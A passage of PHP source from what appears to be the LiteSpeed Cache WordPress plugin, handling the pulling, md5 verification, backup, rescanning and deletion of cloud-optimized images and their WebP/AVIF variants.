				// Save server side ID to send taken notification after pulled
				$server_info['id'] = $json['id'];
				if (!empty($json['file_id'])) {
					$server_info['file_id'] = $json['file_id'];
				}

				// Optm info array
				$postmeta_info = array(
					'ori_total' => 0,
					'ori_saved' => 0,
					'webp_total' => 0,
					'webp_saved' => 0,
					'avif_total' => 0,
					'avif_saved' => 0,
				);
				// Init postmeta_info for the first one
				if (!empty($v->b_meta_id)) {
					foreach (maybe_unserialize($v->b_optm_info) as $k2 => $v2) {
						$postmeta_info[$k2] += $v2;
					}
				}

				if (!empty($json['ori'])) {
					$server_info['ori_md5'] = $json['ori_md5'];
					$server_info['ori']     = $json['ori'];

					// Append meta info
					$postmeta_info['ori_total'] += $json['src_size'];
					$postmeta_info['ori_saved'] += $json['ori_reduced']; // optimized image size info in img_optm tb will be updated when pull

					$this->_summary['reduced'] += $json['ori_reduced'];
				}

				if (!empty($json['webp'])) {
					$server_info['webp_md5'] = $json['webp_md5'];
					$server_info['webp']     = $json['webp'];

					// Append meta info
					$postmeta_info['webp_total'] += $json['src_size'];
					$postmeta_info['webp_saved'] += $json['webp_reduced'];

					$this->_summary['reduced'] += $json['webp_reduced'];
				}

				if (!empty($json['avif'])) {
					$server_info['avif_md5'] = $json['avif_md5'];
					$server_info['avif']     = $json['avif'];

					// Append meta info
					$postmeta_info['avif_total'] += $json['src_size'];
					$postmeta_info['avif_saved'] += $json['avif_reduced'];

					$this->_summary['reduced'] += $json['avif_reduced'];
				}

				// Update status and data in working table
				$q = "UPDATE `$this->_table_img_optming` SET optm_status = %d, server_info = %s WHERE id = %d ";
				$wpdb->query($wpdb->prepare($q, array( $status, \json_encode($server_info), $v->id )));

				// Update postmeta for optm summary
				$postmeta_info = serialize($postmeta_info);
				if (empty($v->b_meta_id) && !in_array($v->post_id, $ls_optm_size_row_exists_postids)) {
					self::debug('New size info [pid] ' . $v->post_id);
					$q = "INSERT INTO `$wpdb->postmeta` ( post_id, meta_key, meta_value ) VALUES ( %d, %s, %s )";
					$wpdb->query($wpdb->prepare($q, array( $v->post_id, self::DB_SIZE, $postmeta_info )));
					$ls_optm_size_row_exists_postids[] = $v->post_id;
				} else {
					$q = "UPDATE `$wpdb->postmeta` SET meta_value = %s WHERE meta_id = %d ";
					$wpdb->query($wpdb->prepare($q, array( $postmeta_info, $v->b_meta_id )));
				}

				// write log
				$pid_log = $last_log_pid == $v->post_id ? '.' : $v->post_id;
				self::debug('notify_img [status] ' . $status . " \t\t[pid] " . $pid_log . " \t\t[id] " . $v->id);
				$last_log_pid = $v->post_id;
			}

			self::save_summary();

			// Mark need_pull tag for cron
			self::update_option(self::DB_NEED_PULL, self::STATUS_NOTIFIED);
		} else {
			// Other errors will directly remove the working records
			// Delete from working table
			$q = "DELETE FROM `$this->_table_img_optming` WHERE id IN ( " . implode(',', array_fill(0, count($notified_data), '%d')) . ' ) ';
			$wpdb->query($wpdb->prepare($q, $notified_data));
		}

		return Cloud::ok(array( 'count' => count($notified_data) ));
	}

	/**
	 * Cron start async req
	 *
	 * @since 5.5
	 */
	public static function start_async_cron() {
		Task::async_call('imgoptm');
	}

	/**
	 * Manually start async req
	 *
	 * @since 5.5
	 */
	public static function start_async() {
		Task::async_call('imgoptm_force');

		$msg = __('Started async image optimization request', 'litespeed-cache');
		Admin_Display::success($msg);
	}

	/**
	 * Check if need to pull or not
	 *
	 * @since 7.2
	 */
	public static function need_pull() {
		$tag = self::get_option(self::DB_NEED_PULL);
		if (!$tag || $tag != self::STATUS_NOTIFIED) {
			return false;
		}
		return true;
	}

	/**
	 * Ajax req handler
	 *
	 * @since 5.5
	 */
	public static function async_handler( $force = false ) {
		self::debug('------------async-------------start_async_handler');

		if (!self::need_pull()) {
			self::debug('❌ no need pull');
			return;
		}

		if (defined('LITESPEED_IMG_OPTM_PULL_CRON') && !constant('LITESPEED_IMG_OPTM_PULL_CRON')) {
			self::debug('Cron disabled [define] LITESPEED_IMG_OPTM_PULL_CRON');
			return;
		}

		self::cls()->pull($force);
	}

	/**
	 * Calculate pull threads
	 *
	 * @since  5.8
	 * @access private
	 */
	private function _calc_pull_threads() {
		global $wpdb;

		if (defined('LITESPEED_IMG_OPTM_PULL_THREADS')) {
			return constant('LITESPEED_IMG_OPTM_PULL_THREADS');
		}

		// Tune number of images per request based on number of images waiting and cloud packages
		$imgs_per_req = 1; // base 1, ramp up to ~50 max

		// Ramp up the request rate based on how many images are waiting
		$c              = "SELECT count(id) FROM `$this->_table_img_optming` WHERE optm_status = %d";
		$_c             = $wpdb->prepare($c, array( self::STATUS_NOTIFIED ));
		$images_waiting = $wpdb->get_var($_c);
		if ($images_waiting && $images_waiting > 0) {
			$imgs_per_req = ceil($images_waiting / 1000); // ie. download 5/request if 5000 images are waiting
		}

		// Cap the request rate at 50 images per request
		$imgs_per_req = min(50, $imgs_per_req);

		self::debug('Pulling images at rate: ' . $imgs_per_req . ' Images per request.');

		return $imgs_per_req;
	}

	/**
	 * Pull optimized img
	 *
	 * @since  1.6
	 * @access public
	 */
	public function pull( $manual = false ) {
		global $wpdb;
		$timeoutLimit = ini_get('max_execution_time');
		$endts        = time() + $timeoutLimit;

		self::debug('' . ($manual ? 'Manually' : 'Cron') . ' pull started [timeout: ' . $timeoutLimit . 's]');

		if ($this->cron_running()) {
			self::debug('Pull cron is running');

			$msg = __('Pull Cron is running', 'litespeed-cache');
			Admin_Display::note($msg);
			return;
		}

		$this->_summary['last_pulled']         = time();
		$this->_summary['last_pulled_by_cron'] = !$manual;
		self::save_summary();

		$imgs_per_req = $this->_calc_pull_threads();
		$q            = "SELECT * FROM `$this->_table_img_optming` WHERE optm_status = %d ORDER BY id LIMIT %d";
		$_q           = $wpdb->prepare($q, array( self::STATUS_NOTIFIED, $imgs_per_req ));

		$rm_ori_bkup = $this->conf(self::O_IMG_OPTM_RM_BKUP);

		$total_pulled_ori  = 0;
		$total_pulled_webp = 0;
		$total_pulled_avif = 0;

		$server_list = [];

		try {
			while ($img_rows = $wpdb->get_results($_q)) {
				self::debug('timeout left: ' . ($endts - time()) . 's');
				if (function_exists('set_time_limit')) {
					$endts += 600;
					self::debug('Endtime extended to ' . date('Ymd H:i:s', $endts));
					set_time_limit(600); // This will be no more important as we use noabort now
				}
				// Disabled as we use noabort
				// if ($endts - time() < 10) {
				// self::debug("🚨 End loop due to timeout limit reached " . $timeoutLimit . "s");
				// break;
				// }

				/**
				 * Update cron timestamp to avoid duplicated running
				 *
				 * @since  1.6.2
				 */
				$this->_update_cron_running();

				// Run requests in parallel
				$requests    = []; // store each request URL for Requests::request_multiple()
				$imgs_by_req = []; // store original request data so that we can reference it in the response
				$req_counter = 0;
				foreach ($img_rows as $row_img) {
					// request original image
					$server_info = \json_decode($row_img->server_info, true);
					if (!empty($server_info['ori'])) {
						$image_url = $server_info['server'] . '/' . $server_info['ori'];
						self::debug('Queueing pull: ' . $image_url);
						$requests[$req_counter]      = array(
							'url' => $image_url,
							'type' => 'GET',
						);
						$imgs_by_req[$req_counter++] = array(
							'type' => 'ori',
							'data' => $row_img,
						);
					}

					// request webp image
					$webp_size = 0;
					if (!empty($server_info['webp'])) {
						$image_url = $server_info['server'] . '/' . $server_info['webp'];
						self::debug('Queueing pull WebP: ' . $image_url);
						$requests[$req_counter]      = array(
							'url' => $image_url,
							'type' => 'GET',
						);
						$imgs_by_req[$req_counter++] = array(
							'type' => 'webp',
							'data' => $row_img,
						);
					}

					// request avif image
					$avif_size = 0;
					if (!empty($server_info['avif'])) {
						$image_url = $server_info['server'] . '/' . $server_info['avif'];
						self::debug('Queueing pull AVIF: ' . $image_url);
						$requests[$req_counter]      = array(
							'url' => $image_url,
							'type' => 'GET',
						);
						$imgs_by_req[$req_counter++] = array(
							'type' => 'avif',
							'data' => $row_img,
						);
					}
				}
				self::debug('Loaded images count: ' . $req_counter);

				$complete_action = function ( $response, $req_count ) use ( $imgs_by_req, $rm_ori_bkup, &$total_pulled_ori, &$total_pulled_webp, &$total_pulled_avif, &$server_list ) {
					global $wpdb;
					$row_data = isset($imgs_by_req[$req_count]) ? $imgs_by_req[$req_count] : false;
					if (false === $row_data) {
						self::debug('❌ failed to pull image: Request not found in lookup variable.');
						return;
					}
					$row_type    = isset($row_data['type']) ? $row_data['type'] : 'ori';
					$row_img     = $row_data['data'];
					$local_file  = $this->wp_upload_dir['basedir'] . '/' . $row_img->src;
					$server_info = \json_decode($row_img->server_info, true);

					// Handle status_code 404/5xx too as its success=true
					if ( empty( $response->success ) || empty( $response->status_code ) || 200 !== $response->status_code ) {
						$this->_step_back_image($row_img->id);

						$msg = __('Some optimized image file(s) has expired and was cleared.', 'litespeed-cache');
						Admin_Display::error($msg);
						return;
					}

					if ('webp' === $row_type) {
						file_put_contents($local_file . '.webp', $response->body);

						if (!file_exists($local_file . '.webp') || !filesize($local_file . '.webp') || md5_file($local_file . '.webp') !== $server_info['webp_md5']) {
							self::debug('❌ Failed to pull optimized webp img: file md5 mismatch, server md5: ' . $server_info['webp_md5']);

							// Delete working table
							$q = "DELETE FROM `$this->_table_img_optming` WHERE id = %d ";
							$wpdb->query($wpdb->prepare($q, $row_img->id));

							$msg = __('Pulled WebP image md5 does not match the notified WebP image md5.', 'litespeed-cache');
							Admin_Display::error($msg);
							return;
						}

						self::debug('Pulled optimized img WebP: ' . $local_file . '.webp');

						$webp_size = filesize($local_file . '.webp');

						/**
						 * API for WebP
						 *
						 * @since 2.9.5
						 * @since  3.0 $row_img less elements (see above one)
						 * @see #751737  - API docs for WEBP generation
						 */
						do_action('litespeed_img_pull_webp', $row_img, $local_file . '.webp');

						++$total_pulled_webp;
					} elseif ('avif' === $row_type) {
						file_put_contents($local_file . '.avif', $response->body);

						if (!file_exists($local_file . '.avif') || !filesize($local_file . '.avif') || md5_file($local_file . '.avif') !== $server_info['avif_md5']) {
							self::debug('❌ Failed to pull optimized avif img: file md5 mismatch, server md5: ' . $server_info['avif_md5']);

							// Delete working table
							$q = "DELETE FROM `$this->_table_img_optming` WHERE id = %d ";
							$wpdb->query($wpdb->prepare($q, $row_img->id));

							$msg = __('Pulled AVIF image md5 does not match the notified AVIF image md5.', 'litespeed-cache');
							Admin_Display::error($msg);
							return;
						}

						self::debug('Pulled optimized img AVIF: ' . $local_file . '.avif');

						$avif_size = filesize($local_file . '.avif');

						/**
						 * API for AVIF
						 *
						 * @since 7.0
						 */
						do_action('litespeed_img_pull_avif', $row_img, $local_file . '.avif');

						++$total_pulled_avif;
					} else {
						// "ori" image type
						file_put_contents($local_file . '.tmp', $response->body);

						if (!file_exists($local_file . '.tmp') || !filesize($local_file . '.tmp') || md5_file($local_file . '.tmp') !== $server_info['ori_md5']) {
							self::debug(
								'❌ Failed to pull optimized img: file md5 mismatch [url] ' .
									$server_info['server'] .
									'/' .
									$server_info['ori'] .
									' [server_md5] ' .
									$server_info['ori_md5']
							);

							// Delete working table
							$q = "DELETE FROM `$this->_table_img_optming` WHERE id = %d ";
							$wpdb->query($wpdb->prepare($q, $row_img->id));

							$msg = __('One or more pulled images does not match with the notified image md5', 'litespeed-cache');
							Admin_Display::error($msg);
							return;
						}

						// Backup ori img
						if (!$rm_ori_bkup) {
							$extension = pathinfo($local_file, PATHINFO_EXTENSION);
							$bk_file   = substr($local_file, 0, -strlen($extension)) . 'bk.' . $extension;
							file_exists($local_file) && rename($local_file, $bk_file);
						}

						// Replace ori img
						rename($local_file . '.tmp', $local_file);

						self::debug('Pulled optimized img: ' . $local_file);

						/**
						 * API Hook
						 *
						 * @since  2.9.5
						 * @since  3.0 $row_img has less elements now. Most useful ones are `post_id`/`src`
						 */
						do_action('litespeed_img_pull_ori', $row_img, $local_file);

						self::debug2('Remove _table_img_optming record [id] ' . $row_img->id);
					}

					// Delete working table
					$q = "DELETE FROM `$this->_table_img_optming` WHERE id = %d ";
					$wpdb->query($wpdb->prepare($q, $row_img->id));

					// Save server_list to notify taken
					if (empty($server_list[$server_info['server']])) {
						$server_list[$server_info['server']] = [];
					}

					$server_info_id                        = !empty($server_info['file_id']) ? $server_info['file_id'] : $server_info['id'];
					$server_list[$server_info['server']][] = $server_info_id;

					++$total_pulled_ori;
				};

				$force_wp_remote_get = defined('LITESPEED_FORCE_WP_REMOTE_GET') && constant('LITESPEED_FORCE_WP_REMOTE_GET');
				if (!$force_wp_remote_get && class_exists('\WpOrg\Requests\Requests') && class_exists('\WpOrg\Requests\Autoload')) {
					// Make sure Requests can load internal classes.
					Autoload::register();

					// Run pull requests in parallel
					Requests::request_multiple($requests, array(
						'timeout' => 60,
						'connect_timeout' => 60,
						'complete' => $complete_action,
					));
				} else {
					foreach ($requests as $cnt => $req) {
						$wp_response      = wp_safe_remote_get($req['url'], array( 'timeout' => 60 ));
						$request_response = array(
							'success' => false,
							'status_code' => 0,
							'body' => null,
						);
						if (is_wp_error($wp_response)) {
							$error_message = $wp_response->get_error_message();
							self::debug('❌ failed to pull image: ' . $error_message);
						} else {
							$request_response['success']     = true;
							$request_response['status_code'] = $wp_response['response']['code'];
							$request_response['body']        = $wp_response['body'];
						}
						self::debug('response code [code] ' . $wp_response['response']['code'] . ' [url] ' . $req['url']);

						$request_response = (object) $request_response;

						$complete_action($request_response, $cnt);
					}
				}
				self::debug('Current batch pull finished');
			}
		} catch (\Exception $e) {
			Admin_Display::error('Image pull process failure: ' . $e->getMessage());
		}

		// Notify IAPI images taken
		foreach ($server_list as $server => $img_list) {
			$data = array(
				'action' => self::CLOUD_ACTION_TAKEN,
				'list' => $img_list,
				'server' => $server,
			);
			// TODO: improve this so we do not call once per server, but just once and then filter on the server side
			Cloud::post(Cloud::SVC_IMG_OPTM, $data);
		}

		if (empty($this->_summary['img_taken'])) {
			$this->_summary['img_taken'] = 0;
		}
		$this->_summary['img_taken'] += $total_pulled_ori + $total_pulled_webp + $total_pulled_avif;
		self::save_summary();

		// Manually running needs to roll back timestamp for next running
		if ($manual) {
			$this->_update_cron_running(true);
		}

		// $msg = sprintf(__('Pulled %d image(s)', 'litespeed-cache'), $total_pulled_ori + $total_pulled_webp);
		// Admin_Display::success($msg);

		// Check if there is still task in queue
		$q               = "SELECT * FROM `$this->_table_img_optming` WHERE optm_status = %d LIMIT 1";
		$to_be_continued = $wpdb->get_row($wpdb->prepare($q, self::STATUS_NOTIFIED));
		if ($to_be_continued) {
			self::debug('Task in queue, to be continued...');
			return;
			// return Router::self_redirect(Router::ACTION_IMG_OPTM, self::TYPE_PULL);
		}

		// If all pulled, update tag to done
		self::debug('Marked pull status to all pulled');
		self::update_option(self::DB_NEED_PULL, self::STATUS_PULLED);
	}

	/**
	 * Push image back to previous status
	 *
	 * @since  3.0
	 * @access private
	 */
	private function _step_back_image( $id ) {
		global $wpdb;

		self::debug('Push image back to new status [id] ' . $id);

		// Reset the image to gathered status
		$q = "UPDATE `$this->_table_img_optming` SET optm_status = %d WHERE id = %d ";
		$wpdb->query($wpdb->prepare($q, array( self::STATUS_RAW, $id )));
	}

	/**
	 * Parse wp's meta value
	 *
	 * @since 1.6.7
	 * @access private
	 */
	private function _parse_wp_meta_value( $v ) {
		if (empty($v)) {
			self::debug('bypassed parsing meta due to null value');
			return false;
		}

		if (!$v->meta_value) {
			self::debug('bypassed parsing meta due to no meta_value: pid ' . $v->post_id);
			return false;
		}

		$meta_value = @maybe_unserialize($v->meta_value);
		if (!is_array($meta_value)) {
			self::debug('bypassed parsing meta due to meta_value not json: pid ' . $v->post_id);
			return false;
		}

		if (empty($meta_value['file'])) {
			self::debug('bypassed parsing meta due to no ori file: pid ' . $v->post_id);
			return false;
		}

		return $meta_value;
	}

	/**
	 * Clean up all unfinished queue locally and to Cloud server
	 *
	 * @since 2.1.2
	 * @access public
	 */
	public function clean() {
		global $wpdb;

		// Reset img_optm table's queue
		if ($this->__data->tb_exist('img_optming')) {
			// Get min post id to mark
			$q       = "SELECT MIN(post_id) FROM `$this->_table_img_optming`";
			$min_pid = $wpdb->get_var($q) - 1;
			if ($this->_summary['next_post_id'] > $min_pid) {
				$this->_summary['next_post_id'] = $min_pid;
				self::save_summary();
			}

			$q = "DELETE FROM `$this->_table_img_optming`";
			$wpdb->query($q);
		}

		$msg = __('Cleaned up unfinished data successfully.', 'litespeed-cache');
		Admin_Display::success($msg);
	}

	/**
	 * Reset image counter
	 *
	 * @since 7.0
	 * @access private
	 */
	private function _reset_counter() {
		self::debug('reset image optm counter');
		$this->_summary['next_post_id'] = 0;
		self::save_summary();

		$this->clean();

		$msg = __('Reset image optimization counter successfully.', 'litespeed-cache');
		Admin_Display::success($msg);
	}

	/**
	 * Destroy all optimized images
	 *
	 * @since 3.0
	 * @access private
	 */
	private function _destroy() {
		global $wpdb;

		self::debug('executing DESTROY process');

		$offset = !empty($_GET['litespeed_i']) ? $_GET['litespeed_i'] : 0;
		/**
		 * Limit images each time before redirection to fix Out of memory issue. #665465
		 *
		 * @since  2.9.8
		 */
		// Start deleting files
		$limit = apply_filters('litespeed_imgoptm_destroy_max_rows', 500);

		$img_q = "SELECT b.post_id, b.meta_value
			FROM `$wpdb->posts` a
			LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID
			WHERE b.meta_key = '_wp_attachment_metadata'
				AND a.post_type = 'attachment'
				AND a.post_status = 'inherit'
				AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif')
			ORDER BY a.ID
			LIMIT %d,%d
			";
		$q     = $wpdb->prepare($img_q, array( $offset * $limit, $limit ));
		$list  = $wpdb->get_results($q);
		$i     = 0;
		foreach ($list as $v) {
			if (!$v->post_id) {
				continue;
			}

			$meta_value = $this->_parse_wp_meta_value($v);
			if (!$meta_value) {
				continue;
			}

			++$i;

			$this->tmp_pid  = $v->post_id;
			$this->tmp_path = pathinfo($meta_value['file'], PATHINFO_DIRNAME) . '/';
			$this->_destroy_optm_file($meta_value, true);
			if (!empty($meta_value['sizes'])) {
				array_map(array( $this, '_destroy_optm_file' ), $meta_value['sizes']);
			}
		}

		self::debug('batch switched images total: ' . $i);

		++$offset;
		$to_be_continued = $wpdb->get_row($wpdb->prepare($img_q, array( $offset * $limit, 1 )));
		if ($to_be_continued) {
			// Check if post_id is beyond next_post_id
			self::debug('[next_post_id] ' . $this->_summary['next_post_id'] . ' [cursor post id] ' . $to_be_continued->post_id);
			if ($to_be_continued->post_id <= $this->_summary['next_post_id']) {
				self::debug('redirecting to next');
				return Router::self_redirect(Router::ACTION_IMG_OPTM, self::TYPE_DESTROY);
			}
			self::debug('🎊 Finished destroying');
		}

		// Delete postmeta info
		$q = "DELETE FROM `$wpdb->postmeta` WHERE meta_key = %s";
		$wpdb->query($wpdb->prepare($q, self::DB_SIZE));
		$wpdb->query($wpdb->prepare($q, self::DB_SET));

		// Delete img_optm table
		$this->__data->tb_del('img_optm');
		$this->__data->tb_del('img_optming');

		// Clear options table summary info
		self::delete_option('_summary');
		self::delete_option(self::DB_NEED_PULL);

		$msg = __('Destroy all optimization data successfully.', 'litespeed-cache');
		Admin_Display::success($msg);
	}

	/**
	 * Destroy optm file
	 */
	private function _destroy_optm_file( $meta_value, $is_ori_file = false ) {
		$short_file_path = $meta_value['file'];
		if (!$is_ori_file) {
			$short_file_path = $this->tmp_path . $short_file_path;
		}
		self::debug('deleting ' . $short_file_path);

		// del webp
		$this->__media->info($short_file_path . '.webp', $this->tmp_pid) && $this->__media->del($short_file_path . '.webp', $this->tmp_pid);
		$this->__media->info($short_file_path . '.optm.webp', $this->tmp_pid) && $this->__media->del($short_file_path . '.optm.webp', $this->tmp_pid);

		// del avif
		$this->__media->info($short_file_path . '.avif', $this->tmp_pid) && $this->__media->del($short_file_path . '.avif', $this->tmp_pid);
		$this->__media->info($short_file_path . '.optm.avif', $this->tmp_pid) && $this->__media->del($short_file_path . '.optm.avif', $this->tmp_pid);

		$extension      = pathinfo($short_file_path, PATHINFO_EXTENSION);
		$local_filename = substr($short_file_path, 0, -strlen($extension) - 1);
		$bk_file        = $local_filename . '.bk.' . $extension;
		$bk_optm_file   = $local_filename . '.bk.optm.' . $extension;

		// del optimized ori
		if ($this->__media->info($bk_file, $this->tmp_pid)) {
			self::debug('deleting optim ori');
			$this->__media->del($short_file_path, $this->tmp_pid);
			$this->__media->rename($bk_file, $short_file_path, $this->tmp_pid);
		}
		$this->__media->info($bk_optm_file, $this->tmp_pid) && $this->__media->del($bk_optm_file, $this->tmp_pid);
	}

	/**
	 * Rescan to find new generated images
	 *
	 * @since 1.6.7
	 * @access private
	 */
	private function _rescan() {
		global $wpdb;
		exit('tobedone');

		$offset = !empty($_GET['litespeed_i']) ? $_GET['litespeed_i'] : 0;
		$limit  = 500;

		self::debug('rescan images');

		// Get images
		$q    = "SELECT b.post_id, b.meta_value
			FROM `$wpdb->posts` a, `$wpdb->postmeta` b
			WHERE a.post_type = 'attachment'
				AND a.post_status = 'inherit'
				AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif')
				AND a.ID = b.post_id
				AND b.meta_key = '_wp_attachment_metadata'
			ORDER BY a.ID
			LIMIT %d, %d
			";
		$list = $wpdb->get_results($wpdb->prepare($q, $offset * $limit, $limit + 1)); // last one is the seed for next batch

		if (!$list) {
			$msg = __('Rescanned successfully.', 'litespeed-cache');
			Admin_Display::success($msg);

			self::debug('rescan bypass: no gathered image found');
			return;
		}

		if (count($list) == $limit + 1) {
			$to_be_continued = true;
			array_pop($list); // last one is the seed for next round, discard here.
		} else {
			$to_be_continued = false;
		}

		// Prepare post_ids to inquery gathered images
		$pid_set      = [];
		$scanned_list = [];
		foreach ($list as $v) {
			$meta_value = $this->_parse_wp_meta_value($v);
			if (!$meta_value) {
				continue;
			}

			$scanned_list[] = array(
				'pid' => $v->post_id,
				'meta' => $meta_value,
			);

			$pid_set[] = $v->post_id;
		}

		// Build gathered images
		$q    = "SELECT src, post_id FROM `$this->_table_img_optm` WHERE post_id IN (" . implode(',', array_fill(0, count($pid_set), '%d')) . ')';
		$list = $wpdb->get_results($wpdb->prepare($q, $pid_set));
		foreach ($list as $v) {
			$this->_existed_src_list[] = $v->post_id . '.' . $v->src;
		}

		// Find new images
		foreach ($scanned_list as $v) {
			$meta_value = $v['meta'];
			// Parse all child src and put them into $this->_img_in_queue, missing ones to $this->_img_in_queue_missed
			$this->tmp_pid  = $v['pid'];
			$this->tmp_path = pathinfo($meta_value['file'], PATHINFO_DIRNAME) . '/';
			$this->_append_img_queue($meta_value, true);
			if (!empty($meta_value['sizes'])) {
				foreach( $meta_value['sizes'] as $img_size_name => $img_size ){
					$this->_append_img_queue($img_size, false, $img_size_name );
				}
			}
		}

		self::debug('rescanned [img] ' . count($this->_img_in_queue));

		$count = count($this->_img_in_queue);
		if ($count > 0) {
			// Save to DB
			$this->_save_raw();
		}

		if ($to_be_continued) {
			return Router::self_redirect(Router::ACTION_IMG_OPTM, self::TYPE_RESCAN);
		}

		$msg = $count ? sprintf(__('Rescanned %d images successfully.', 'litespeed-cache'), $count) : __('Rescanned successfully.', 'litespeed-cache');
		Admin_Display::success($msg);
	}

	/**
	 * Calculate bkup original images storage
	 *
	 * @since 2.2.6
	 * @access private
	 */
	private function _calc_bkup() {
		global $wpdb;

		$offset = !empty($_GET['litespeed_i']) ? $_GET['litespeed_i'] : 0;
		$limit  = 500;

		if (!$offset) {
			$this->_summary['bk_summary'] = array(
				'date' => time(),
				'count' => 0,
				'sum' => 0,
			);
		}

		$img_q = "SELECT b.post_id, b.meta_value
			FROM `$wpdb->posts` a
			LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID
			WHERE b.meta_key = '_wp_attachment_metadata'
				AND a.post_type = 'attachment'
				AND a.post_status = 'inherit'
				AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif')
			ORDER BY a.ID
			LIMIT %d,%d
			";
		$q     = $wpdb->prepare($img_q, array( $offset * $limit, $limit ));
		$list  = $wpdb->get_results($q);
		foreach ($list as $v) {
			if (!$v->post_id) {
				continue;
			}

			$meta_value = $this->_parse_wp_meta_value($v);
			if (!$meta_value) {
				continue;
			}

			$this->tmp_pid  = $v->post_id;
			$this->tmp_path = pathinfo($meta_value['file'], PATHINFO_DIRNAME) . '/';
			$this->_get_bk_size($meta_value, true);
			if (!empty($meta_value['sizes'])) {
				array_map(array( $this, '_get_bk_size' ), $meta_value['sizes']);
			}
		}

		$this->_summary['bk_summary']['date'] = time();
		self::save_summary();

		self::debug('_calc_bkup total: ' . $this->_summary['bk_summary']['count'] . ' [size] ' . $this->_summary['bk_summary']['sum']);

		++$offset;
		$to_be_continued = $wpdb->get_row($wpdb->prepare($img_q, array( $offset * $limit, 1 )));

		if ($to_be_continued) {
			return Router::self_redirect(Router::ACTION_IMG_OPTM, self::TYPE_CALC_BKUP);
		}

		$msg = __('Calculated backups successfully.', 'litespeed-cache');
		Admin_Display::success($msg);
	}

	/**
	 * Calculate single size
	 */
	private function _get_bk_size( $meta_value, $is_ori_file = false ) {
		$short_file_path = $meta_value['file'];
		if (!$is_ori_file) {
			$short_file_path = $this->tmp_path . $short_file_path;
		}

		$extension      = pathinfo($short_file_path, PATHINFO_EXTENSION);
		$local_filename = substr($short_file_path, 0, -strlen($extension) - 1);
		$bk_file        = $local_filename . '.bk.' . $extension;

		$img_info = $this->__media->info($bk_file, $this->tmp_pid);
		if (!$img_info) {
			return;
		}

		++$this->_summary['bk_summary']['count'];
		$this->_summary['bk_summary']['sum'] += $img_info['size'];
	}

	/**
	 * Delete bkup original images storage
	 *
	 * @since  2.5
	 * @access public
	 */
	public function rm_bkup() {
		global $wpdb;

		if (!$this->__data->tb_exist('img_optming')) {
			return;
		}

		$offset = !empty($_GET['litespeed_i']) ? $_GET['litespeed_i'] : 0;
		$limit  = 500;

		if (empty($this->_summary['rmbk_summary'])) {
			$this->_summary['rmbk_summary'] = array(
				'date' => time(),
				'count' => 0,
				'sum' => 0,
			);
		}

		$img_q = "SELECT b.post_id, b.meta_value
			FROM `$wpdb->posts` a
			LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID
			WHERE b.meta_key = '_wp_attachment_metadata'
				AND a.post_type = 'attachment'
				AND a.post_status = 'inherit'
				AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif')
			ORDER BY a.ID
			LIMIT %d,%d
			";
		$q     = $wpdb->prepare($img_q, array( $offset * $limit, $limit ));
		$list  = $wpdb->get_results($q);
		foreach ($list as $v) {
			if (!$v->post_id) {
				continue;
			}

			$meta_value = $this->_parse_wp_meta_value($v);
			if (!$meta_value) {
				continue;
			}

			$this->tmp_pid  = $v->post_id;
			$this->tmp_path = pathinfo($meta_value['file'], PATHINFO_DIRNAME) . '/';
			$this->_del_bk_file($meta_value, true);
			if (!empty($meta_value['sizes'])) {
				array_map(array( $this, '_del_bk_file' ), $meta_value['sizes']);
			}
		}

		$this->_summary['rmbk_summary']['date'] = time();
		self::save_summary();

		self::debug('rm_bkup total: ' . $this->_summary['rmbk_summary']['count'] . ' [size] ' . $this->_summary['rmbk_summary']['sum']);

		++$offset;
		$to_be_continued = $wpdb->get_row($wpdb->prepare($img_q, array( $offset * $limit, 1 )));

		if ($to_be_continued) {
			return Router::self_redirect(Router::ACTION_IMG_OPTM, self::TYPE_RM_BKUP);
		}

		$msg = __('Removed backups successfully.', 'litespeed-cache');
		Admin_Display::success($msg);
	}

	/**
	 * Delete single file
	 */
	private function _del_bk_file( $meta_value, $is_ori_file = false ) {
		$short_file_path = $meta_value['file'];
		if (!$is_ori_file) {
			$short_file_path = $this->tmp_path . $short_file_path;
		}

		$extension      = pathinfo($short_file_path, PATHINFO_EXTENSION);
		$local_filename = substr($short_file_path, 0, -strlen($extension) - 1);
		$bk_file        = $local_filename . '.bk.' . $extension;

		$img_info = $this->__media->info($bk_file, $this->tmp_pid);
		if (!$img_info) {
			return;
		}

		++$this->_summary['rmbk_summary']['count'];
		$this->_summary['rmbk_summary']['sum'] += $img_info['size'];

		$this->__media->del($bk_file, $this->tmp_pid);
	}

	/**
	 * Count images
	 *
	 * @since 1.6
	 * @access public
	 */
	public function img_count() {
		global $wpdb;

		$q           = "SELECT count(*)
			FROM `$wpdb->posts` a
			LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID
			WHERE b.meta_key = '_wp_attachment_metadata'
				AND a.post_type = 'attachment'
				AND a.post_status = 'inherit'
				AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif')
			";
		$groups_all  = $wpdb->get_var($q);
		$groups_new  = $wpdb->get_var($q . ' AND ID>' . (int) $this->_summary['next_post_id'] . ' ORDER BY ID');
		$groups_done = $wpdb->get_var($q . ' AND ID<=' . (int) $this->_summary['next_post_id'] . ' ORDER BY ID');

		$q      = "SELECT b.post_id
			FROM `$wpdb->posts` a
			LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID
			WHERE b.meta_key = '_wp_attachment_metadata'
				AND a.post_type = 'attachment'
				AND a.post_status = 'inherit'
				AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif')
			ORDER BY a.ID DESC
			LIMIT 1
			";
		$max_id = $wpdb->get_var($q);

		$count_list = array(
			'max_id' => $max_id,
			'groups_all' => $groups_all,
			'groups_new' => $groups_new,
			'groups_done' => $groups_done,
		);

		// images count from work table
		if ($this->__data->tb_exist('img_optming')) {
			$q               = "SELECT COUNT(DISTINCT post_id),COUNT(*) FROM `$this->_table_img_optming` WHERE optm_status = %d";
			$groups_to_check = array( self::STATUS_RAW, self::STATUS_REQUESTED, self::STATUS_NOTIFIED, self::STATUS_ERR_FETCH );
			foreach ($groups_to_check as $v) {
				$count_list['img.' . $v]                                   = $count_list['group.' . $v] = 0;
				list($count_list['group.' . $v], $count_list['img.' . $v]) = $wpdb->get_row($wpdb->prepare($q, $v), ARRAY_N);
			}
		}

		return $count_list;
	}

	/**
